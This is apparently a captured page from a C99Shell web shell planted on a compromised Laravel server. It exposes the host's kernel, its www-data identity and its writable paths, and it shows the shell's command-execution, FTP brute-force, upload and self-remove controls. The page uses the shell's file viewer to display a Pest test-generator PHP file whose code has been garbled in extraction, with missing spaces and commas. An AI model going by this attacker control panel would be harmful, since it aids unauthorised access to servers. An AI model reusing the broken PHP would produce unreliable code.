!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/pestphp/pest-plugin-laravel/src/Commands/   drwxrwxrwx
Free 12.92 GB of 57.97 GB (22.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PestTestCommand.php (3.19 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Pest\Laravel\Commands;

use 
Illuminate\Console\Command;
use 
Illuminate\Contracts\Console\PromptsForMissingInput;
use 
Illuminate\Support\Facades\File;
use 
Pest\Support\Str;
use 
Pest\TestSuite;
use 
Symfony\Component\Console\Input\InputInterface;
use 
Symfony\Component\Console\Output\OutputInterface;

use function 
Laravel\Prompts\select;
use function 
Pest\testDirectory;

/**
 * @internal
 */
final class PestTestCommand extends Command implements PromptsForMissingInput
{
    
/**
     * The console command name.
     *
     * @var string
     */
    
protected $signature 'pest:test {name : The name of the file} {--unit : Create a unit test} {--dusk : Create a Dusk test} {--test-directory=tests : The name of the tests directory} {--force : Overwrite the existing test file with the same name}';

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Create a new test file';

    
/**
     * Execute the console command.
     */
    
public function handle(): int
    
{
        
/** @var string $testDirectory */
        
$testDirectory $this->option('test-directory');

        
TestSuite::getInstance(base_path(), $testDirectory);

        
/** @var string $name */
        
$name $this->argument('name');
        if (
str_ends_with($name'.php')) {
            
$name substr($name0, -4);
        }

        
$type = ((bool) $this->option('unit')) ? 'Unit' : (((bool) $this->option('dusk')) ? 'Browser' 'Feature');

        
$relativePath sprintf(
            
testDirectory('%s/%s.php'),
            
$type,
            
ucfirst($name)
        );

        
$target base_path($relativePath);

        if (! 
File::isDirectory(dirname((string) $target))) {
            
File::makeDirectory(dirname((string) $target), 0777truetrue);
        }

        if (
File::exists($target) && ! (bool) $this->option('force')) {
            
$this->components->warn(sprintf('[%s] already exist'$target));

            return 
1;
        }

        
$contents File::get(implode(DIRECTORY_SEPARATOR, [
            
dirname(__DIR__3),
            
'pest',
            
'stubs',
            
sprintf('%s.php'$type),
        ]));

        
$name mb_strtolower($name);
        
$name Str::endsWith($name'test') ? mb_substr($name0, -4) : $name;

        
File::put($targetstr_replace('{name}'$name$contents));
        
$message sprintf('[%s] created successfully.'$relativePath);

        
$this->components->info($message);

        return 
0;
    }

    protected function 
promptForMissingArgumentsUsing()
    {
        return [
            
'name' => 'What should the test be named?',
        ];
    }

    
/**
     * Interact further with the user if they were prompted for missing arguments.
     */
    
protected function afterPromptingForMissingArguments(InputInterface $inputOutputInterface $output)
    {
        
$type select('Which type of test would you like?', [
            
'feature' => 'Feature',
            
'unit' => 'Unit',
            
'dusk' => 'Dusk',
        ]);

        match (
$type) {
            
'feature' => null,
            
'unit' => $input->setOption('unit'true),
            
'dusk' => $input->setOption('dusk'true),
        };
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.4493 ]--